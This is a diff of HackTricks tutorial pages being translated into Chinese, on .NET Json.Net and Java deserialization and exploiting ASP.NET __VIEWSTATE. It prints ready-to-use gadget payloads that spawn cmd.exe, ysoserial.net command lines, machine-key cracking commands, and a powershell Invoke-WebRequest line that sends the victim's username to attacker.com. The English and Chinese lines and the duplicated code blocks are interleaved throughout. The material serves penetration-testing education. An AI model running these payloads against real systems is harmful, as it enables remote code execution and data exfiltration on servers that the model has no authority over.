ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net
In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.
在[官方网站](https://www.newtonsoft.com/json)上指出,这个库允许**使用Json.NET强大的JSON序列化器序列化和反序列化任何.NET对象**。因此,如果我们能够**反序列化ObjectDataProvider小工具**,我们可以仅通过反序列化一个对象来导致**RCE**。
### Json.Net example
First of all lets see an example on how to **serialize/deserialize** an object using this library:
### Json.Net示例
首先,让我们看一个如何使用这个库**序列化/反序列化**对象的示例:
```java
using System;
using Newtonsoft.Json;
@ -103,60 +98,56 @@ using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### 滥用 Json.Net
### Abusing Json.Net
Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit:
使用 [ysoserial.net](https://github.com/pwntester/ysoserial.net) 我创建了这个漏洞:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
In this code you can **test the exploit**, just run it and you will see that a calc is executed:
在这段代码中,你可以**测试漏洞**,只需运行它,你将看到一个计算器被执行:
```java
using System;
using System.Text;
@ -164,35 +155,33 @@ using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,90 +1,87 @@
{{#include ../../banners/hacktricks-training.md}}
In this POST it's going to be explained an example using `java.io.Serializable`.
在这篇文章中,将解释一个使用 `java.io.Serializable` 的示例。
# Serializable
The Java `Serializable` interface (`java.io.Serializable` is a marker interface your classes must implement if they are to be **serialized** and **deserialized**. Java object serialization (writing) is done with the [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) and deserialization (reading) is done with the [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
Java `Serializable` 接口(`java.io.Serializable` 是一个标记接口,您的类必须实现它才能被 **序列化****反序列化**。Java 对象序列化(写入)是通过 [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) 完成的,反序列化(读取)是通过 [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html) 完成的。
Lets see an example with a **class Person** which is **serializable**. This class **overwrites the readObject** function, so when **any object** of this **class** is **deserialized** this **function** is going to be **executed**.\
In the example, the **readObject function** of the class Person calls the function `eat()` of his pet and the function `eat()` of a Dog (for some reason) calls a **calc.exe**. **We are going to see how to serialize and deserialize a Person object to execute this calculator:**
**The following example is from [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
让我们看一个 **可序列化的类 Person** 的示例。这个类 **重写了 readObject** 函数,因此当 **这个类的任何对象****反序列化** 时,这个 **函数** 将被 **执行**。\
在这个示例中Person 类的 **readObject 函数** 调用了它的宠物的 `eat()` 函数,而 Dog 的 `eat()` 函数(出于某种原因)调用了 **calc.exe**。 **我们将看到如何序列化和反序列化一个 Person 对象以执行这个计算器:**
**以下示例来自 [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
```java
import java.io.Serializable;
import java.io.*;
public class TestDeserialization {
interface Animal {
public void eat();
}
//Class must implements Serializable to be serializable
public static class Cat implements Animal,Serializable {
@Override
public void eat() {
System.out.println("cat eat fish");
}
}
//Class must implements Serializable to be serializable
public static class Dog implements Animal,Serializable {
@Override
public void eat() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("dog eat bone");
}
}
//Class must implements Serializable to be serializable
public static class Person implements Serializable {
private Animal pet;
public Person(Animal pet){
this.pet = pet;
}
//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
pet = (Animal) stream.readObject();
pet.eat();
}
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(String[] args) throws Exception {
// Example to call Person with a Dog
Animal animal = new Dog();
Person person = new Person(animal);
GeneratePayload(person,"test.ser");
payloadTest("test.ser");
// Example to call Person with a Cat
//Animal animal = new Cat();
//Person person = new Person(animal);
//GeneratePayload(person,"test.ser");
//payloadTest("test.ser");
}
interface Animal {
public void eat();
}
//Class must implements Serializable to be serializable
public static class Cat implements Animal,Serializable {
@Override
public void eat() {
System.out.println("cat eat fish");
}
}
//Class must implements Serializable to be serializable
public static class Dog implements Animal,Serializable {
@Override
public void eat() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("dog eat bone");
}
}
//Class must implements Serializable to be serializable
public static class Person implements Serializable {
private Animal pet;
public Person(Animal pet){
this.pet = pet;
}
//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
pet = (Animal) stream.readObject();
pet.eat();
}
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(String[] args) throws Exception {
// Example to call Person with a Dog
Animal animal = new Dog();
Person person = new Person(animal);
GeneratePayload(person,"test.ser");
payloadTest("test.ser");
// Example to call Person with a Cat
//Animal animal = new Cat();
//Person person = new Person(animal);
//GeneratePayload(person,"test.ser");
//payloadTest("test.ser");
}
}
```
## 结论
## Conclusion
As you can see in this very basic example, the "vulnerability" here appears because the **readObject** function is **calling other vulnerable functions**.
正如您在这个非常基本的示例中所看到的,这里的“漏洞”出现是因为 **readObject** 函数 **调用了其他易受攻击的函数**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,6 +1,5 @@
{{#include ../../banners/hacktricks-training.md}}
**Check the amazing post from** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
**查看来自** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) **的精彩文章**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,165 +1,138 @@
# Exploiting \_\_VIEWSTATE without knowing the secrets
# 利用 \_\_VIEWSTATE 而不知其秘密
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**漏洞赏金提示****注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
## What is ViewState
## 什么是 ViewState
**ViewState** serves as the default mechanism in ASP.NET to maintain page and control data across web pages. During the rendering of a page's HTML, the current state of the page and values to be preserved during a postback are serialized into base64-encoded strings. These strings are then placed in hidden ViewState fields.
**ViewState** 是 ASP.NET 中用于在网页之间保持页面和控件数据的默认机制。在渲染页面的 HTML 时,页面的当前状态和在回发期间要保留的值被序列化为 base64 编码的字符串。这些字符串随后被放置在隐藏的 ViewState 字段中。
ViewState information can be characterized by the following properties or their combinations:
ViewState 信息可以通过以下属性或其组合来表征:
- **Base64**:
- This format is utilized when both `EnableViewStateMac` and `ViewStateEncryptionMode` attributes are set to false.
- **Base64 + MAC (Message Authentication Code) Enabled**:
- Activation of MAC is achieved by setting the `EnableViewStateMac` attribute to true. This provides integrity verification for ViewState data.
- **Base64 + Encrypted**:
- Encryption is applied when the `ViewStateEncryptionMode` attribute is set to true, ensuring the confidentiality of ViewState data.
- **Base64**
- 当 `EnableViewStateMac``ViewStateEncryptionMode` 属性都设置为 false 时,使用此格式。
- **Base64 + MAC(消息认证码)启用**
- 通过将 `EnableViewStateMac` 属性设置为 true 来激活 MAC。这为 ViewState 数据提供完整性验证。
- **Base64 + 加密**
- 当 `ViewStateEncryptionMode` 属性设置为 true 时应用加密,以确保 ViewState 数据的机密性。
## Test Cases
## 测试用例
The image is a table detailing different configurations for ViewState in ASP.NET based on the .NET framework version. Here's a summary of the content:
该图像是一个表,详细说明了基于 .NET 框架版本的 ASP.NET 中 ViewState 的不同配置。以下是内容摘要:
1. For **any version of .NET**, when both MAC and Encryption are disabled, a MachineKey is not required, and thus there's no applicable method to identify it.
2. For **versions below 4.5**, if MAC is enabled but Encryption is not, a MachineKey is required. The method to identify the MachineKey is referred to as "Blacklist3r."
3. For **versions below 4.5**, regardless of whether MAC is enabled or disabled, if Encryption is enabled, a MachineKey is needed. Identifying the MachineKey is a task for "Blacklist3r - Future Development."
4. For **versions 4.5 and above**, all combinations of MAC and Encryption (whether both are true, or one is true and the other is false) necessitate a MachineKey. The MachineKey can be identified using "Blacklist3r."
1. 对于 **任何版本的 .NET**,当 MAC 和加密都被禁用时,不需要 MachineKey因此没有适用的方法来识别它。
2. 对于 **4.5 版本以下**,如果启用了 MAC 但未启用加密,则需要 MachineKey。识别 MachineKey 的方法称为 "Blacklist3r"。
3. 对于 **4.5 版本以下**,无论 MAC 是否启用,如果启用了加密,则需要 MachineKey。识别 MachineKey 是 "Blacklist3r - Future Development" 的任务。
4. 对于 **4.5 版本及以上**,所有 MAC 和加密的组合(无论两者都为 true还是一个为 true 另一个为 false都需要 MachineKey。可以使用 "Blacklist3r" 识别 MachineKey。
### Test Case: 1 EnableViewStateMac=false and viewStateEncryptionMode=false
It is also possible to disable the ViewStateMAC completely by setting the `AspNetEnforceViewStateMac` registry key to zero in:
### 测试用例1 EnableViewStateMac=false 和 viewStateEncryptionMode=false
还可以通过将 `AspNetEnforceViewStateMac` 注册表项设置为零来完全禁用 ViewStateMAC
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**识别 ViewState 属性**
**Identifying ViewState Attributes**
You can try to identify if ViewState is MAC protected by capturing a request containing this parameter with BurpSuite. If Mac is not used to protect the parameter you can exploit it using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
您可以尝试通过使用 BurpSuite 捕获包含此参数的请求来识别 ViewState 是否受到 MAC 保护。如果未使用 Mac 保护该参数,您可以使用 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) 进行利用。
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Test case 1.5 Like Test case 1 but the ViewState cookie isn't sent by the server
Developers can **remove ViewState** from becoming part of an HTTP Request (the user won't receive this cookie).\
One may assume that if **ViewState** is **not present**, their implementation is **secure** from any potential vulnerabilities arising with ViewState deserialization.\
However, that is not the case. If we **add ViewState parameter** to the request body and send our serialized payload created using ysoserial, we will still be able to achieve **code execution** as shown in **Case 1**.
开发人员可以**移除 ViewState**,使其不成为 HTTP 请求的一部分(用户将不会收到此 cookie\
人们可能会假设,如果**ViewState**不**存在**,他们的实现就**安全**,不会出现与 ViewState 反序列化相关的潜在漏洞。\
然而,事实并非如此。如果我们**将 ViewState 参数**添加到请求体中,并发送我们使用 ysoserial 创建的序列化有效负载,我们仍然能够实现**代码执行**,如**案例 1**所示。
### Test Case: 2 .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
In order to **enable ViewState MAC** for a **specific page** we need to make following changes on a specific aspx file:
为了**启用 ViewState MAC**,我们需要在特定的 aspx 文件上进行以下更改:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
We can also do it for **overall** application by setting it on the **web.config** file as shown below:
我们还可以通过在 **web.config** 文件中设置它来实现 **整体** 应用,如下所示:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
```
由于该参数受到MAC保护因此要成功执行攻击我们首先需要使用的密钥。
As the parameter is MAC protected this time to successfully execute the attack we first need the key used.
You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key used.
您可以尝试使用 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) 来查找使用的密钥。
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) 是另一个可以识别已知 machineKeys 的工具。它是用 Python 编写的,因此与 Blacklist3r 不同,没有 Windows 依赖。对于 .NET viewstates有一个 "python blacklist3r" 工具,这是使用它的最快方法。
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is another tool which can identify known machineKeys. It is written in Python, so unlike Blacklist3r, there is no Windows dependency. For .NET viewstates, there is a "python blacklist3r" utility, which is the quickest way to use it.
It can either be supplied with the viewstate and generator directly:
它可以直接提供 viewstate 和 generator
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
Or, it can connect directly to the target URL and try to carve the viewstate out of the HTML:
或者,它可以直接连接到目标 URL 并尝试从 HTML 中提取 viewstate
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
To search for vulnerable viewstates at scale, in conjunction with subdomain enumeration, the `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) module can be used:
为了大规模搜索易受攻击的 viewstate结合子域枚举可以使用 `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) 模块:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
If you are lucky and the key is found,you can proceed with the attack using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
如果你运气好并且找到了密钥,你可以使用 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
In cases where `_VIEWSTATEGENERATOR` parameter **isn't sent** by the server you **don't** need to **provide** the `--generator` parameter **but these ones**:
在服务器**未发送**`_VIEWSTATEGENERATOR`参数的情况下,您**不需要**提供`--generator`参数**而是这些**
```bash
--apppath="/" --path="/hello.aspx"
```
### 测试用例3 .Net < 4.5 EnableViewStateMac=true/false ViewStateEncryptionMode=true
### Test Case: 3 .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
在这种情况下不知道该参数是否受到MAC保护。因此值可能被加密您将**需要机器密钥来加密您的有效负载**以利用该漏洞。
In this it's not known if the parameter is protected with MAC. Then, the value is probably encrypted and you will **need the Machine Key to encrypt your payload** to exploit the vulnerability.
**在这种情况下,** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **模块正在开发中...**
**In this case the** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **module is under development...**
**在 .NET 4.5 之前,** ASP.NET 可以**接受**来自用户的**未加密** \_`__VIEWSTATE`\_ 参数,即使**`ViewStateEncryptionMode`**已设置为_**始终**_。ASP.NET **仅检查**请求中**`__VIEWSTATEENCRYPTED`**参数的**存在**。**如果删除此参数并发送未加密的有效负载,它仍然会被处理。**
**Prior to .NET 4.5**, ASP.NET can **accept** an **unencrypted** \_`__VIEWSTATE`\_parameter from the users **even** if **`ViewStateEncryptionMode`** has been set to _**Always**_. ASP.NET **only checks** the **presence** of the **`__VIEWSTATEENCRYPTED`** parameter in the request. **If one removes this parameter, and sends the unencrypted payload, it will still be processed.**
因此,如果攻击者通过其他漏洞(如文件遍历)找到获取机器密钥的方法,可以使用在**案例 2**中使用的[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)命令通过ViewState反序列化漏洞执行RCE。
Therefore if the attackers find a way to get the Machinekey via another vuln like file traversal, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) command used in the **Case 2**, can be used to perform RCE using ViewState deserialization vulnerability.
- 从请求中删除`__VIEWSTATEENCRYPTED`参数以利用ViewState反序列化漏洞否则将返回Viewstate MAC验证错误利用将失败。
- Remove `__VIEWSTATEENCRYPTED` parameter from the request in order to exploit the ViewState deserialization vulnerability, else it will return a Viewstate MAC validation error and exploit will fail.
### Test Case: 4 .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
We can force the usage of ASP.NET framework by specifying the below parameter inside the web.config file as shown below.
### 测试用例4 .Net >= 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true/false除了两个属性为false
我们可以通过在web.config文件中指定以下参数来强制使用ASP.NET框架如下所示。
```xml
<httpRuntime targetFramework="4.5" />
```
Alternatively, this can be done by specifying the below option inside the `machineKey` paramter of web.config file.
另外,这可以通过在 web.config 文件的 `machineKey` 参数中指定以下选项来完成。
```bash
compatibilityMode="Framework45"
```
如前所述,**值是加密的。** 然后,要发送**有效的有效负载,攻击者需要密钥**。
As in the previous the **value is encrypted.** Then, to send a **valid payload the attacker need the key**.
You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key being used:
您可以尝试使用 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) 来查找正在使用的密钥:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
@ -167,46 +140,39 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
对于IISDirPath和TargetPagePath的更详细描述请[参阅此处](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
For a more detailed description for IISDirPath and TargetPagePath [refer here](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Or, with [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (with a generator value):
或者,使用[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(带生成器值):
```bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
Once a valid Machine key is identified, **the next step is to generate a serialized payload using** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
一旦识别出有效的机器密钥,**下一步是使用** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **生成序列化有效负载**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
If you have the value of `__VIEWSTATEGENERATOR` you can try to **use** the `--generator` parameter with that value and **omit** the parameters `--path` and `--apppath`
如果你有 `__VIEWSTATEGENERATOR` 的值,你可以尝试使用 `--generator` 参数并省略 `--path``--apppath` 参数。
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
A successful exploitation of the ViewState deserialization vulnerability will lead to an out-of-band request to an attacker-controlled server, which includes the username. This kind of exploit is demonstrated in a proof of concept (PoC) which can be found through a resource titled "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". For further details on how the exploitation process works and how to utilize tools like Blacklist3r for identifying the MachineKey, you can review the provided [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的带外请求。这种利用方式在一个概念验证PoC中得到了展示该 PoC 可以通过名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多细节,以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey你可以查看提供的 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
### Test Case 6 ViewStateUserKeys is being used
The **ViewStateUserKey** property can be used to **defend** against a **CSRF attack**. If such a key has been defined in the application and we try to generate the **ViewState** payload with the methods discussed till now, the **payload wont be processed by the application**.\
You need to use one more parameter in order to create correctly the payload:
### 测试用例 6 ViewStateUserKeys 正在使用中
